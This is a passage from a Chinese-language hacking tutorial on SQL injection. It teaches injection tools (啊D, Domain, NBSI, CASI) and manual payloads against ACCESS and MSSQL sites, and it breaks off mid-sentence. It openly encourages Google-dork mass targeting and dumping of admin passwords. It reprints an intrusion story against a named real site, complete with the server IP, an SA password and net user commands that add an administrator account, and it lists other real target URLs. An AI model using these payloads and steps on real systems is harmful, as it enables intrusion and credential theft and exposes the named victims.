目前引起 SQL 注入的主要原因是程序员在编写网站脚本程序的时候,对特殊没有过滤或者过滤不完全而导致的。因为一个脚本系统的文件是比较多的,而且代码量也非常的大,所以系统开发人员不可能对每一个文件中的数据交互的地方都考虑的非常周全,这样我们就有了可乘之机了。在加上注入攻击比较容易上手,而且目前注入工具也非常多,使得注入攻击一下就成为脚本攻击的主流方向。
而有一点大家一定要知道:SQL 注入漏洞的产生虽然是由于程序过滤不严格导致的,但是要实现这个漏洞的攻击,是与我们系统后台所使用的数据库有关。也就说数据库才是影响我们注入攻击的最大因素,不同的数据库它所面对的注入攻击也是不同的,而与系统所使用的语言并无很大的联系。所以在手工注入的过程中,我就以不同的数据库来分 SQL 的注入了。
上面简单的对注入解释了一下,下面开始我们的注入攻击之旅吧!这里我把注入分为两个部分:一是工具篇,主要是讲解不同的注入工具的使用;二是手工篇,因为影响 SQL注入攻击的结果主要是数据库的类型,所以这里我从数据库的角度来分,把手工篇分成了 ACCESS、SQL Server(MSSQL)和 MySQL 这类。
工具篇
由于注入攻击成为脚本黑客技术下的主流,所以很多注入工具也就很快的出现了,而且那些工具越来越傻瓜化,特别适合一些刚刚入门的菜鸟朋友。注入攻击的工具目前比较的多。在 ASP 下我给大家推荐的是小竹的 NBSI、啊 D、明小子的 Domain,他们在 ASP 下非常好的注入工具;而在 PHP 下比较好的工具有 PHP-Mysql 注射分析器、CASI、教主的 HDSI,而且 HDSI 还支持 ASP 注入功能,它是 ASP/PHP 注入综合工具。在本节中从 ASP 和 PHP 两个角度来给大家讲解这些注入工具的使用方法。
ASP 下的注入工具的使用
下面我就以啊 D 和 Domain 来讲解如何使用他们在 ASP 的环境下注入,之所以选他们两个是要他们相互配合,从我本来的经验来看,他们两者的结合使用是不会差于任何注入工具的。
我们先来看看啊 D 和Domain3.5 的主界面吧,如图 2-101 和图 2-102 所示。
图 2-101 啊 D 主界面
图 2-102 Domain 的主界面
要注入的第一步就是首先得到网站存在 SQL 注入的网址来,如果我们并不是要专门去渗透某一个网站,也就是没有目的的入侵,那么就可以使用 google hack 技术来批量取得存在注入的网站,我们可以先在 google 里输入 inurl:asp?id=这样类似的代码搜索 ASP 的网站。我们分别用啊 D 和 Domain 来说说这两种方法。对于啊 D,我们先点击主界面的“扫描注入点”,然后在“检测网址”里输入 http://www.google.com,而要打开其他检测站点也是一样,只需要把网址改一下就可以了。然后在 google 里输入“inurl:asp?id=”后搜索后啊 D就会自动检测搜索出来的网址是否存在注入漏洞了。而用 Domain 则是先点击主界面上的“旁注检测”,然后在“当前路径”中输入 http://www.google.com,而要打开其他检测站点也是一样,只需要把网址改一下就可以了。然后在里面输入“inurl:asp?id=”后搜索,Domain也会自动检测网页中存在注入的网址。如图 2-103 和图 2-104 所示,我这里只用 google 搜索了四个页面就发现他们检测的结果不一样,啊 D 检测的比 domain 要多。而且 domian 这里有一个不好的地方就是我们这里已经发现了注入点,而当我们在点击搜索的下一页的时候原来的那个注入网址就会被清除,而啊 D 会保留,这一点可以让我们收集存储注入漏洞的网站时非常的方便。
图 2-103 啊 D 检测到的注入漏洞站点
图 2-104 domain 检测到的注入站点
上面我们讲的是在没有目的的情况下随便注入的,假设我们现在要某一个特定的站点进行注入攻击,那么第一步还是查找存在注入的网址。我们还是可以用 google hack 来帮忙的,我们只要输入“site:站点网址 inurl:asp?id=”就可以搜索出特定站点中含有 asp?id=的网站了。这里我们还来测试一下他们两个工具对特定站点的注入漏洞扫描能力,我们用图 2-103 中啊 D 扫描的到 http://zsb.jmu.edu.cn/2j.asp?id=24 为例子。我们在 google 中输入“site:jmu.edu.cn inurl:asp?id=”,这里我就搜索了 5 个网页,如图 2-105 和图 2-106所示,从图中我们可以清楚的看到,搜索了五个网页后,啊 D 搜索到 5 个网址,而 domian一个也没有搜索到。而检测到了有注入的网址,我们只需双击一下那个网址就会自动跳到注入的页面上去。
图 2-105 啊 D 对特定网站搜索到结果
图 2-106 Domain 对特定站点搜索到的结果
通过上面在相同的情况下的对比,不管是无目的的撒网式注入漏洞搜索还是对特定站点注入漏洞的搜索,啊 D 都是要胜于 domian 的。如果用工具进行注入的话,我个人强烈建议使用 Google Hack+啊 D 组合。通过上面的学习和对比我们想大家已经学会如何寻找网站的注入漏洞了吧。
有了注入的网址之后我们就要对该网站进行注入攻击了。我们可以直接双击搜索到的存在注入网址。在啊 D 下我们也可以直接点击主界面上的“SQL 注入检测”按钮,然后再“注入连接”中输入我们需要注入的网址;而对于 domian 我们可以点击主界面菜单中的“SQL注入”,之后在点击“SQL 注入猜解检测”按钮,最后在“注入点”处输入需要注入的网址点击“开始检测”按钮就可以开始猜解了。
当我们点击检测按钮之后,啊 D 和 Domain 都是首先猜解数据库类型。从前面我们知道对于 ASP 来说他们的组合几乎全部是 ASP+ACCESS 和ASP+MSSQL。所以啊 D 和 domian 都只提供了 ACCESS 和 MSSQL 两种数据库的类型的猜解,如果某个网站采用 ASP+MYSQL 组合的话,那用工具没办法检测,不过这样的情况非常少,至少我没有见过那个网站会采用这样的组合来搭建网站。虽然他们两个工具都只提供两种数据库的检测,不过显然啊 D 提供的功能多一些,如图 2-107 和图 2-108 所示。啊 D 还提供连接类型,Domain 没有提供。
图 2-107 啊D 检测数据库
图 2-108 Domain 检测数据库
检测数据库之后就是成功之后就是要猜解数据库的表名了,在啊 D 下我们只需点击“检测表段”按钮即可;而在 Domain 则是点击“猜解表名”按钮即可。这里啊 D 还多了一个功能,就是如果检测到是 MSSQL 数据库那么就按下面的“MSSQL 专用表段检测”,如果检测到是 MSSQL 那么我们就可以使用他来猜解了,如图 2-109 所示。对于 Domain 这里增加表名很简单,只需要点击添加按钮即可,如图 2-110 所示。当然啊 D 也是可以添加,不过所谓麻烦一点,需要点击左边的“设置选项”按钮之后在点“设置”按钮就可以进行相关的添加了,如图 2-111 所示。
图 2-109 啊D 的猜解表名
图 2-110 Domain 的猜解表名
图 2-111 啊D 对一些设置的添加和删除
猜解完表名之后就是检测这个表中存在的字段了。在啊 D 下我们点击“检测字段”按钮,而在 Domain 下我们点击“猜解列名”即可。猜解完了之后就是要猜解字段的内容,不过一般来说一个表中的字段比较多,有的我们并不需要,我们只需要选一些猜解就可以了。啊 D 和 Domain 都提供了选择猜解字段的功能,如图 2-112 所示,在猜解内容之前需要选择需要猜解的内容,如果要猜解哪个字段,只需要把其前面的复选框选上就可以了。在图 2-112中,我只选择 adminname 和 adminpass 两个字段,而 id 字段的内容没有必要猜解,我们需要的是管理员的名字和密码。
图 2-112 选择需要猜解的内容
我们选择了需要猜解的内容之后,对于啊 D 我们点击“检测内容”按钮就可以对内容进行猜解了,Domain 则点击“猜解内容”按钮即可。这两个工具对猜解的内容都提供了比较详细的显示。
在猜解网站后台数据库中信息的时候,他们的猜解能力还是有一些差别的,经过我长期的使用和做比较发现 Domain 的猜解能力要比啊 D 强,如图 2-113 和图 2-114 就是对上面的那个网站猜解的结果。啊 D 没有把管理员的名称给猜解出来,而 Domain 猜出来了;而且在猜解速度方面Domain 还要快一些。所以建议在猜解后台数据库信息的时候用Domain 来猜解。
图 2-113 啊 D 对网站管理员密码的猜解结果
图 2-114 Domain 对网站后台管理员密码的猜解结果
有了网站管理员的密码当然下一步是要得到网站的后台地址了。在前面我们已经多次提到了利用 Google Hack 来找网站后台,这里就不多讲了。啊 D 和 Domain 都提供了网站后台查找的功能。啊 D 的后台只需要点击主菜单下的“管理入口检测”按钮,然后把需要检测网站后台填入即可了,如图 2-115。而对于 Domain 则在“SQL 注入”菜单下点击“管理入口扫描”即可,如图 2-116 所示。这两个工具对后台的检测都是通过添加后台地址来进行的,所以基本上这个功能他们是一样的,没什么区别。
图 2-115 啊 D 对后台的检测
图 2-116 Domain 对后台的检测
通过上面的讲解,我想大家对注入的基本步骤和两种注入工具的基本使用方法都已经初步的认识了,相信也知道怎么去查找网站的注入漏洞并对进行注入了。在得到网站的密码和
后台后就是登陆网站后台了,那么这个时候网站就被你控制了,当然大多数的情况下我们并不满足于这样情况,很多时候还利用各种方法和技术来得到 webshell,不过这些方法和技巧在后面我会给大家讲解,这里的学习目的是要让大家对注入攻击有初步的认识。如果大家仔细看 2-114 就会发现上面我们演示的是 ACCESS 数据库的注入攻击。其实在注入攻击中最好玩的还要算是 MSSQL 注入了,跟 ACCESS 数据库一样,MSSQL 数据库的注入也是先经过注入工具的“扫描——>检测”后再去读取数据库中的信息,但是对于 MSSQL 注入而言,这显然没什么诱惑力,因为 MSSQL 的注入还可以做很多事情。
如果网站的后台数据库是 MSSQL 而又存在注入的话,注入工具一般都会显示如图 2-117这样的结果,因为 MSSQL 比 ACCESS 强大的很多,这点在第一章就给大家讲的很清楚了。在图 2-117 可以看到 ACCESS 数据库与 MSSQL 数据库返回的结果的不同。在 MSSQL 中写出了当前的数据库名、连接账号及权限等信息。如果是 MSSQL 数据库那对于数据库方面的操作我给大家推荐 NBSI2 这个工具来入侵。这里我检测到了一个网站是具有 SA(System
Administrator)权限,比系统管理员权限还大,所以到这一步我们根本就不用去扫描网站后台管理员的密码了,因为有更好玩的了。如果遇到了台 SA 权限且它为空口令或为弱口令的服务器,那么我们可以利用 SQL 连接器连接该服务器,如图 2-118 所示,我们填上服务器的 IP,用户名 Sa 密码为空,点击连接就可以连接上去了。接下来就是利用 DOS 命令添加管理员了,然后在开一个 3389 或者 telnet,最后就是登陆远程主机了,那么我们就得到了一台肉鸡了。
图 2-117 MSSQL 数据库信息
图 2-118 SQL 连接器连接
如果没有弱口令怎么办呢?我们还可以 NBSI2 自带的一个功能来执行我们的命令。目前要遇到一个存在空口令的 MSSQL 还不是很常见,大多数都是需要密码的。如果用 NBSI2 扫描到了当前数据库用户是具有 SA 权限的,这个时候我们可以 Nbcommander 命令执行器来执行命令。
选择“扫描及工具”——>“Nbcommander 命令执行器”,之后我们就进入了 Nbcommander 命令执行器的界面了,如图 2-119 所示。在“注入地址”中输入注入点连接,并选择注入类型,然后选上“尝试回显结果”和“执行 DOS 命令”,并在“命令”中输入执行的系统命令。比如这里我要看服务器开启了什么系统服务,就输入“netstar -an”点“执行”就可以看到服务器上的服务了。在里面我们可以执行很多 DOS 命令,如果很多入门的朋友不懂 DOS 命令也没有关系,NBSI2 已经为你们想到了这一点。当我们点击“执行 DOS 命令”的时候就会弹出一个小的页面,上面有一些简单的 DOS 命令,如图 2-120 所示。dir 命名就是遍历改盘下所有的文件和文件夹,比如 dir c:\就是遍历 C 盘下所有的文件和文件夹。对于更多的 DOS命令我这里就不多讲了,更多更详细的 DOS 请看光盘中已经为大家收录了 DOS 命令方面的电子书。当然我们还可以点击“SQL 语句”后同样会弹出常用的 SQL 命令了,如图 2-121 所示。上面的语句是 MSSQL 的一些存储过程,在后面会详细给大家介绍。
图 2-119 Nbcommander 命令执行器
图 2-120 DOS 常用命令
图 2-121 常用的 SQL 命令
上面我们说的是在 SA 权限下,如果遇到一台不是 SA 权限的机器?也没有什么很大的关系,只要它的权限在 Public 以上,我们就能够遍历服务器上的文件了。这个时候,我们要请出 NBSI2 的另外一个使用工具“NBTreelist”了,这是从“扫描工具”中打开“NBTreelist”,如图 2-122 所示。
图 2-122 NBTreelist
把右边的“文件”和“文件夹”都选上,然后在“输入路径”中输入要查看的磁盘路径。点击列目录,过一下就可以看到服务器上的目录,我们可以查看服务器上安装了什么软件、数据库在哪里等信息,这些有时候对我们得到 webshell 和提升权限非常有用。工具的介绍就介绍到这里了,下面引用由 elin 写的《入侵江苏互联星空教育频道》文章让大家更加明白如何利用工具,增加大家的实践经验。
入侵江苏互联星空教育频道
本人是一名教师,在工作之余常去一些教育网站看一看。装了宽带以后,当然要去看看
互联星空了,里面有个教育频道我自然是要去的。这一去,就发现了问题,获得了主机权限。教育频道的地址是 http://education.js.chinavnet.com/,出问题的是里面的“精英教育”版
块 http://jyedu.js.chinavnet.com/,如图 2-123 所示。
图 2-123 存在注入版块
用 啊 D 注 入 工 具 扫 描 了 一 下 , 发 现 了 该 站 存 在 注 入 点 :
http://jyedu.js.chinavnet.com/teac/teac.aspx?TEAC_ID=147,如图 2-124 所示。
图 2-124 发现注入点
于是进行注入检测,分析得到的数据库类型为“Access 或其它数据库” ,如图 2-125 所示。
图 2-125 网站后台数据库为 ACCESS
检测表段,没有找到,也无法进行其它功能的运用,如图 2-126 所示。
图 2-126 不能执行其他功能
感觉很这样的大网站不应该用的是 Access 数据库,工具应该是识别错误了,于是换用著名的 NBSI 工具进行注入分析,如图 2-127 所示,得到了真实的情况,是用了 SQLServer数据库,当前库是 BMUCP_EDU_XKTC,还是 SA 权限。用 NBSI 的NB Commander 和Treelist工具试试命令和目录显示,没有成功。猜解得管理员帐号和密码共有 5 组,其中帐号:ahong2008 密码:!!@@##%的一组 ID 最靠前,应该有最大的权限。
图 2-127 利用 NBSI 发现为 SQL Server 数据库
下面去找后台登录,用工具都没找到,但提示 admin 目录是存在的,也就是说目录是对的,但文件名不确定,手动也试了几个,因它用的是 asp.net 写的,所以是 aspx 文件,怪不得工具都没找到,最后找到了是 admin/login.aspx,用刚才得到的帐号和密码试登录,OK。如图 2-128 和图 2-129 所示。
图 2-128 找到网站后台
图 2-129 登陆网站后台
看了一下,后台没有什么可以利用的。怎么来得到 webshell 以及主机权限呢?
思考了一下,刚才不是有 SA 权限吗,何不直接连接 SQL 数据库试试能不能运行命令,密码就用这“!!@@##%”来试试(我想管理员有可能会用同一个密码吧),通过 ping 得到
IP 地址为:61.155.9.205。下面我们来连接,服务器名称/IP:61.155.9.205 用户名:SA,密码:!!@@##%,数据库名称:BMUCP_EDU_XKTC,连接成功。如图 2-130 所示。
图 2-130 利用弱口令连接 SQL Server 数据库
利用该工具,发现可以执行任意命令,于是执行以下命令激活 guest 用户并加入
administrators 组。
Net user guest /active (激活 guest 用户)
Net user guest guest (将guest 用户密码设为 guest)
Net localgroup administrators guest /add (将 guest 用户加入 administrators 组)用 Net localgroup administrators 检查,guest 已经成功加入。如图 2-129 所示。
图 2-131 执行命令添加管理员
现在我们就可以用 guest 这一管理员帐户来登录这台服务器了,此前我已扫描过,服务器是开着 3389 终端服务的,成功。如图 2-132 所示。
图 2-132 远程登陆到主机
到此,已经得到最高权限,做什么都可以了,这么大的网站,不敢乱动,下面的事就是清理痕迹,写封信给管理员,走人。
总结一下,这次入侵没什么新的技术,还带点运气的色彩。
两点收获:1、不要轻信某一个工具,工具也会有出错的时候,利用几个工具配合使用,发挥各自长处,往往能做得更好;
2、一般管理员可能在很多地方使用同一个密码,往往在比较薄弱的地方获得以后,一通百通,这就是社会工程学的运用吧。
PHP 下的注入工具的使用
下面给大家介绍 PHP 环境下的注入工具的使用,因为我个人比较喜欢 CASI,所以这里用 CASI 来做为例子说明。首先我们打开 HDSI 的主页面,如图 1-133 所示。
图 1-133 CASI 的主界面
在目前全世界的PHP 网站中,几乎全部是 PHP+MySQL 组合,所以 PHP 注入工具在对 MySQL数据库的检测、入侵方面做的很好,其他数据库并不太支持,不过也没必要。至少从我的经验来说不要,因为没看到过哪个网站是 PHP+MSSQL 的组合。我们来看看 CASI 的主界面,注射 url 就是我们要进行注入攻击的网站的 URL 地址。判断字符一般我们按照默认就可以了,不需要动。程序信息就是进行注入攻击所显示的信息,如提交的数据等等。软件登陆则是用于会员登陆的,一般我们那个不用,因为不是会员也不会有功能限制。
下面我们来利用这个工具进行入侵一下网站看看,这里我通过 google 黑客找到了
http://training2.cyol.com/expert/teacher.php?id=882 它存在注入漏洞,我们把这个
URL 放入到注射 url 中,点击字段扫描,这个时候 CASI 就会弹出更大的页面,如图 2-134所示。
图 2-134 用CASI 注射时的界面
在“程序信息”中,显示的都是我们在进行注射时的注射代码,每一个步骤的代码都可以看到,所以“程序信息”里返回的数据可以非常方便我们进行手工注入的学习。
图中还有一个“暴代码”的功能,它是利用的一个叫 load_file()的函数读取我们服务端文件的源代码,在后面讲手工注入的时候会向大家提及。用工具时,我们先要填上
loadfile 的插入位置,其实就是一些数字。而目标文件 path 就是我们要读取的文件了,比如默认是 D:\starkun\down\include\config.inc.php,那么当我们点击“确定”按钮时,就会读取这个文件的内容。一般这个功能最常用的就是读取网站或服务器配制文件,因为里面有很多的敏感信息。例如用 linux 做服务器时,我们提交/etc/passwd 的话,那么就可以读取到该 linux 服务器下的所有密码文件,当然前提是我们现在进行注射时的权限有那么大了。通过改变目标文件 path 我们可以读取不同的文件,从而得到大量的敏感信息。
通过前面的“字段扫描”,如果顺利的话,我们可以得到网站后台数据库的字段数,同时还有字段名、表名,我们的字段名可以在网页返回的页面中找到。字段扫描成功的话,我们就可以得到字段名、表名。接下来就是要暴管理员的密码,我们填上所得到的字段名、表名及其插入位置,不过这个位置的填写要注意的是不能超过这个数据库的字段数。顺利的话,可以从浏览 url 中返回的页面中看到管理员的密码,非常的方便,比 ASP 下的注入快多了。至于浏览返回 url 页面,CASI 提供了四种选择:停止、刷新、后退、前进。
CASI 还提供了一个工具箱,我们先来看看“后台扫描”功能,当我们点击时就会自动扫描我们正在注入的网站的后台,如图 2-135 所示。
图 2-135 找到网站的后台地址
Whios 查 询是根据 我们当前 所注入的 网站的 IP 地址, 然后到网站
http://whois.webhosting.info 上去查询看这个 IP 地址上是否还存在于其他的网站,因为毕竟现在大部分网站都是采用的虚拟主机,一个 IP 地址有很多网站。如果存在很多网站的话,我们还可以采用旁注来进行攻击。
前面我就提了 PHP 网站的后台数据库绝大多数是 MySQL,所以 CASI 提供了一个 mysql数据库连接器,如图 2-136 所示。
图 2-136 mysql 数据库连接器
前面我们可以得到了用户名和密码,数据库名也知道了,在填上主机名及端口就可以连接上后台数据库了。如果网站采用的是与数据库分离的话,那么我们可以通过读取网站中数据库的连接文件,从那里得到数据库服务器的 IP 地址或主机名。还有在连接的时候最好把 “使用压缩”选上,利于数据的传输,防止因数据过大导致服务器死机。
上面就是 CASI 的使用方法了,通过上面的讲解是否觉得已经很简单了呢?利用它来入侵网站基本上都是自动的,我们需要填写的就是字段名、数据库名、读取文件 path、插入字段这些了。如果顺利,几分钟就可以搞定一个网站。其他的 PHP 注射工具我就不在讲了,他们的使用方法大致上都是一样的。
至于 JSP 为什么不不讲他的工具使用呢,主要的原因是目前国内还没有专门为 JSP 而开发的注入工具,不过前面已经给大家介绍的 CASI 和NBSI 都支持对 JSP 的注入,不过 NBSI必须是要 2.5 及以上版本才支持的,反正大家注入的时候用最新版本就是了。因为这两个工具在前面都已经介绍了,所以这里就不在重复,如果大家通过 and 1=1、and 1=2 发现一个
JSP 网站存在注入漏洞,那么就可以利用他们来进行注入攻击了,使用方法和前面所讲的是一样的。
手工篇
俗话说的好“自己动手,丰衣足食”,只用工具永远得不到提高,所以我们还要学会手工注入。对于注入漏洞的攻击其实影响它最大的是网站的后台数据库,所以这里我对手工注入从数据库的角度来分类了。目前网站中使用的最多的数据库要算是 ACCESS、SQL
Server(MSSQL)、MySQL 这三个了。所以这里的手工注入,我就以他们三个数据库来分成三小节,讲述在不同的数据库下不同的注入方法。
1、ACCESS
我们先找到一个类似于http://www.xxx.com/xx.asp?id=xxxx 的URL 后(用Google Hack搜索),先在这个 URL 后加上一个单引号,变成 http://www.xxx.com/xx.asp?id=x',如果出现错误提示(如图 2-137 所示),则该网站可能就存在注入漏洞了。然后分别提交 http://www.xxx.com/xx.asp?id=x and 1=1 和 http://www.xxx.com/xx.asp?id=x and 1=2,
如果他们两返回的页面不同则就说明存在注入漏洞了,如图 2-138 和图 2-139 所示。
图 2-137 加了单引号后出现错误
图 2-138 加上 and 1=1 之后页面返回和先前一样
图 2-139 加上 1=2 之后与先前的页面出现不同
存 在 注 入 之 后 就 是 要 判 断 网 站 后 台 数 据 库 的 类 型 , 提 交 http://www.xxx.com/xx.asp?id=x and user>0 就可以判断了,如果是 ACCESS 数据库那么
返回的错误里一般会含有“Microsoft JET Database”关键字,如图 2-140 所示;如果是 MSSQL数据库的话返回的错误提示里一般会含有“SQL Server”关键字,如图 2-141 所示。
图 2-140 ACCESS 数据库
图 2-141 MSSQL 数据库
这里开始我们开始讨论 ACCESS 数据库下的手工注入。本小节这里指的数据库类型是
ACCESS。有了数据库类型,下一步就是猜解数据库的表名,猜解表名的语句为在注入点后加上“and exists (select * from 表名)”或者“and exists (select count from 表名)”。我们还是以 http://www.xxx.com/xx.asp?id=x 为例,如果我猜的这个站的数据库中有个表名为 zyh,那就提交 http://www.xxx.com/xx.asp?id=x and exists (select * from zyh)。结果返回为错误,如图 2-142 所示,错误就说明数据库中没有 zyh 这个表明。那我们在猜一下有没有 config 这个表名,提交 http://www.xxx.com/xx.asp?id=x and exists (select * from config),返回正常,如图 2-143 所示,说明存在 config 这个表名。
图 2-142 不存在 zyh 这个表名
图 2-143 存在 config 这个表名
一般常见的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、
article_admin、administrator、manager、member、memberlist、user、users、userinfo、
user_info、admin_userinfo、userlist、user_list、login、用户、密码、会员、登陆、
movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin等等。
猜解完了表名之后就是要猜解表里的列名了,猜解列名的语句是“exists (select 列名 from 表名)”或者“exists (select count(列名) from 表名)”。同样的,如果返回错误就说明这个列不存在,如果返回正常就说明这个列存在。比如我们这里猜解是否有 id 这个列,则提交 http://www.xxx.com/xx.asp?id=x and exists (select id from config),发现返回正常,如图 2-144 所示。继续猜解,最后发现存在 adminname、adminpass、id 这三个列。
图 2-144 猜解到 id 这个列
一般常见的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、
admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、
admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、
administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、
userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、
passwd、pass_wd、yonghu、用户、用户名、mima、密码、dw、oklook 等等。
猜解完了表名和列名之后,我们就开始猜解列的长度,猜解语句为 and (select top 1 len(列名) from 表名)>x,其中 x 是数字,我们需要变换这个 x 就是列的长度值。如这里我提 交 http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from
config)>1、>2、>3、>4 都返回正常,如图 2-145 所示,猜到>5 时就出现了错误提示,如图 2-146 所示,这个时候就说明正确的列的长度是为 5。
图 2-145 猜解列的长度为 4
图 2-146 猜解列的长度为 5
另外, 变 换 top 后 的数字 就 可以猜 解 这个列 的 第 N 行长 度了,如 http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x就是猜解 adminname 列的第 N 行长度。
当我们猜解完了列的长度后就到最关键地方了,猜解列的内容。一般来说我们只猜解用户名和密码,比如前面我们猜解了 adminname、adminpass、id 这三个字段,一般我们是需要密码和用户名,所以猜解 adminname、adminpass 就可以了,id 没有必要去猜解。猜解用户名和密码需要用到 ASC 和 Mid 这个两个函数。用 Mid(列名,N,1)函数截取第 N 位字符,在用 ASC(Mid(列名,N,1))函数得到第N位字符的 ASCII 码。ASCII 码又叫美国信息交换标准码,这个编码可以把一些字母和符号转换成数字,比如 a 的十进制 ASCII 码为 97 十六进制为 61,在我们猜解出来的就是十进制 ASCII 码,我们需要把他转换成正常的符号。这里我给大家提供了一个转换工具,如图 2-147 所示。
图 2-147 ASCII 码转换工具
猜解用户名/密码的语句为and (select top 1 asc(mid(列名,列数N,1)) from 表名)>x,
top 后的数字为该列的第 N 行,x 为 ASCII 码,列数 N 就是在这一列中的第几个数字。这里我 提 交 猜 解 adminname 列 的 第 一 个 数 字 的 ASCII 码 的 值 http://www.cctv5.com.cn/TVPLAY.ASP?id=7 and (select top 1 asc(mid(adminname,1,1)) from config)>50,返回正常,继续提交>100 返回错误,提交>80 返回正常,一直提交到>96正常,提交>97 返回错误,这样我们就得到了 adminname 列的第一行纪录中的第一个字母的
ASCII 码为 97,通过上面的转换工具就可以得到第一个字母为 a。最后通过我对 adminname和 adminpass 的猜解后发现他们的 ASCII 值都为 97、100、109、105、110,转换后都为 admin,我们在用工具猜解一下以证明其正确性,如图 2-148 所示,结果是一致的。
图 2-148 工具与猜解的结果一致
已经猜解到了密码和用户名里的数据了,对于 ASCII 猜解这就算结束了。从上面我们可以看到在猜解表名和字段名的时候都是利用一些常见的名字进行配对的,也就是说在这里注入是靠很大的运气。如果表名和字段名都设置的很变态,如管理员用自己的姓名作为表名和字段名的话那我们根本就无法猜解了。还有就是如果发现一个网站采用的是一套比较常见的系统,那么我们还可以把这套系统下载下来从里面的数据库中得到表名和字段名,从而直
接猜解出用户名和密码。对于 ASP+ACCESS 的注入攻击,我们得到用户名和密码也就完成了。如果我们要继续入侵的话,只有进入后台,看能否上传木马或利用一句话木马来得到
webshell(具体的过程在 2.5 节有详细介绍)。
但是对于 ASP+MSSQL 的注入就不同了。它的注入不仅可以直接暴出表名和库名,还能直接执行一些命令,比如修改数据库、获得 shell 等等,下面就开始 ASP+MSSQL 的注入吧。
2、SQL Server(MSSQL)
我们还是以 http://www.xxx.com/xxx.asp?id=xx 为例子,如果用但引号、and 1=1、 and 1=2 检测到这个网站有漏洞,加单引号后从返回的错误信息中就可以确定该网站使用的是 SQL Server 数据库,如图 2-148 所示。
图 2-148 单引号确定后台数据库类型
在得到后台是 MSSQL 数据库之后确定当前数据库的用户名了,使用 and user>0 就可以得到,输入 http://www.xxx.com/xxx.asp?id=xx and user>0 就可以得到当前用户的用户名为 xingsheadmin,如图 2-150 所示。
图 2-150 得到了当前用户的用户名
为什么输入 and user>0 就可以得到当前用户名呢?下面我来给大家解释一下,虽然 and user>0 很简单,但却包含了 SQLServer 特有注入方法的精髓。让我们来看看它的含义:首先,前面的语句是正常的,重点在 and user>0,因为 user 是SQLServer 的一个内置变量,它的值是当前连接的用户名,类型为 nvarchar。而这里我们拿一个 nvarchar 的值跟 int的数的 0 比较,系统会先试图将 nvarchar 的值转成 int 型,当然,转的过程中肯定会出错,
SQLServer 的出错提示是:将 nvarchar 值“abc” 转换数据类型为 int 的列时发生语法错误,呵呵,abc 正是变量 user 的值,这样,不废吹灰之力就拿到了数据库的用户名。还有在我们的 SQLServer 数据库里的用户 sa 是个等同 Adminstrators 权限的角色,拿到了 sa权限,几乎肯定可以拿到主机的 Administrator 了。而我们上面的方法可以很方便的测试出是否是用 sa 登录,如果是 sa 登录,那么返回的错误提示是将”dbo”转换成 int 的列发生错误,而不是”sa”,如图 2-151 所示。
图 2-151 当前用户的权限为 SA
在得到当前的用户名之后就是要查询当前用户的数据信息了,利用 having 1=1--就可以得到用户数据信息了。我们输入 http://www.xxx.com/xxx.asp?id=xx having 1=1--即可,如图 2-152 所示,其中 FORUM_TOPICS.TOPIC_ID 就是当前用户的数据信息了。
FORUM_TOPICS 是表名,而 TOPIC_ID 为列名。继续猜解拥护数据信息,不过这里的语句稍微有点 变化,改 成了 group by 用户信息 havi ng 1= 1-- 。我们继 续 提 交 http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID having 1=1-- 可得到一个 T_SUBJECT 列名,如图 2-153 所示。继续提交数据,不过这个时候我们已经有了两个列名了,所以提交的数据又有一点变化,为 group by 用户信息 1,用户信息 2 h aving
1=1--。我们提交 http://www.xxx.com/xxx.asp?id=xx group by FORUM_TOPICS.TOPIC_ID , FORUM_TOPICS.T_SUBJECT having 1=1--就可以得到其他的列名了。上面的的方法的原理是在 SQL 语句中,having 1=1--是与group by 结合使用并进行条件判断的,如果语句不完整,数据库就会返回错误信息,并显示一个表名和一个列名。
图 2-152 得到 FORUM_TOPICS 表中的 TOPIC_ID 列
图 2-153 得到 FORUM_TOPICS 表中的 T_SUBJECT 列
虽然上面的方法很好,但是只能暴当前表中的列,下面我就教大家如何暴任意表名和列名的方法吧。此方法的相关语句为:and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1。其中N 就是代表数据库中的第N 个表,这里我们来提交 http://www.xxx.com/xxx.asp?id=xx and (select top 1 name from (select top 1 id,name from sysobjects where xtype=char(85)) T order by id desc)>1 就可以猜解第一个表的表名为 D99_REG,如图 2-154 所示。而我们提交 http://www.xxx.com/xxx.asp?id=xx an d (select top 1 name from (select top 2 id,name from sysobjects where xtype=char(85)) T order by id
desc)>1 就可以猜解到第二个表名为 shit_tmp,如图 2-155 所示。
图 2-154 当前用户的第一个表名为 D99_REG
图 2-155 当前用户的第二个表名为 shit_tmp
要暴任意表中的任意列的语句为:and (sel ect to p 1 co l_name(object_id('表名'),N) fro m
sysobjects)>1 。 这里我们提交 http://www.xxx.com/xxx.asp?id=xx and (select top 1 col_name(object_id('D99_REG'),1) fro m sysobjects)>1 就可以暴出 D99_REG 表中的第一个列名为 ID,如图 2-156 所示;提交 http://www.xxx.com/xxx.asp?id=xx and (selec t top 1 col_name(object_id('D99_REG'),2) fro m sy sobjects)>1 就可以暴出第二个列名为 Data,如图 2-157 所示。
图 2-156 暴出了第一个列名为 ID
图 2-157 暴出第二个列名为 Data
有列名和表名之后我们就是要暴出数据库中的数据了,这个命令的相关语句为 and (select t op 1 列名 fro m 表名 where i d= N)>1,其中 N 代表第 N 条数据,这里我们提交 http://www.xxx.com/xxx.asp?id=xx and (select top 1 username from admin where id=1)>1 就可 以 猜 解 出 admin 表 中 username 的 第 一 条 数 据 了 , 而 提 交 http://www.xxx.com/xxx.asp?id=xx and (select top 1 password from admin where id=1)>1 就可以暴出密码了。比起 ACCESS 注入来是不是方便多了。
前面讲的都是 URL 的参数都是数字,如 http://www.xxx.com/xxx.asp?id=xx 中的 id是等于一个数字的。这种类型的注入攻击,我们直接在这个数字参数后加上注入攻击的代码就可以了。但是并不是所有的 URL 中都是以数字来作为参数,还有很多是用是用字符来作为参数的,还有一种是用于搜索功能的,所以它才参数又是不一样。
若 URL 中 的 参 数 是 字 符 的 话 , 假 设 其 URL 地 址 为 :
